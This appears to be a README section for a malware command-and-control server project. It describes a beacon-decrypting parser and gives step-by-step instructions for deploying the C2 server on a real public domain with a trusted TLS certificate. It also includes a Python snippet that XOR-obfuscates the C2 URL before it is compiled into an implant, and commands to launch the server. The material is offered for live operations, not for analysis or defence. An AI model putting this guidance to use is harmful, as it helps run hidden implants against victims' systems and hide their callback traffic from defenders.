Install dependencies: **New in v2.1: Built-in Beacon Parser & Lantern.js Graph Compatibility**
The C2 server now includes a dedicated parser that decrypts incoming beacon data and converts it into structured JSON, as well as a graph format compatible with the Lantern.js visualization frontend. This enables seamless integration with modern threat intelligence dashboards and real-time monitoring.
Parser endpoints provide:
- **Decryption and parsing** of raw encrypted beacon data
- **Graph conversion** for Lantern.js (nodes/edges/environments)
- **Result parsing** with automatic audit logging
### Production Deployment with a Real Domain
In a real operation, you would deploy the C2 server on a public domain with a valid TLS certificate. The steps are:
1. **Obtain a domain** (e.g., `c2.churchofmalware.org`) and point its DNS to your server's IP.
2. **Acquire a trusted SSL certificate** (e.g., from Let's Encrypt or a commercial CA) for that domain.
3. **Configure the C2 server** to use that certificate and key.
4. **Update the implant's obfuscated C2 string** to match your domain before compiling.
**Example (using Let's Encrypt):**
```bash
# Install certbot and obtain certificate
certbot certonly --standalone -d c2.churchofmalware.org
# The certificate and key will be in /etc/letsencrypt/live/c2.churchofmalware.org/
# Copy them to your C2 directory and run:
python church_c2_server.py --host 0.0.0.0 --port 443 --cert fullchain.pem --key privkey.pem
```
**Obfuscating your C2 URL for the implant:**
Use the included XOR utility (or a Python oneliner) to generate the obfuscated bytes for your domain:
```python
XOR_KEY = 0xDD
url = "https://c2.churchofmalware.org/beacon"
obf = ''.join(f'\\x{(ord(c) ^ XOR_KEY):02X}' for c in url)
print(obf)
# Output: \x78\x9D\x9D... (use this to replace g_c2_server_obf)
```
### Local Testing (SelfSigned Certificate)
For testing purposes only, you can use a selfsigned certificate:
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
python church_c2_server.py --host 127.0.0.1 --port 8443 --cert cert.pem --key key.pem
```
Then access `https://127.0.0.1:8443` (or `localhost`) and bypass the browser warning.
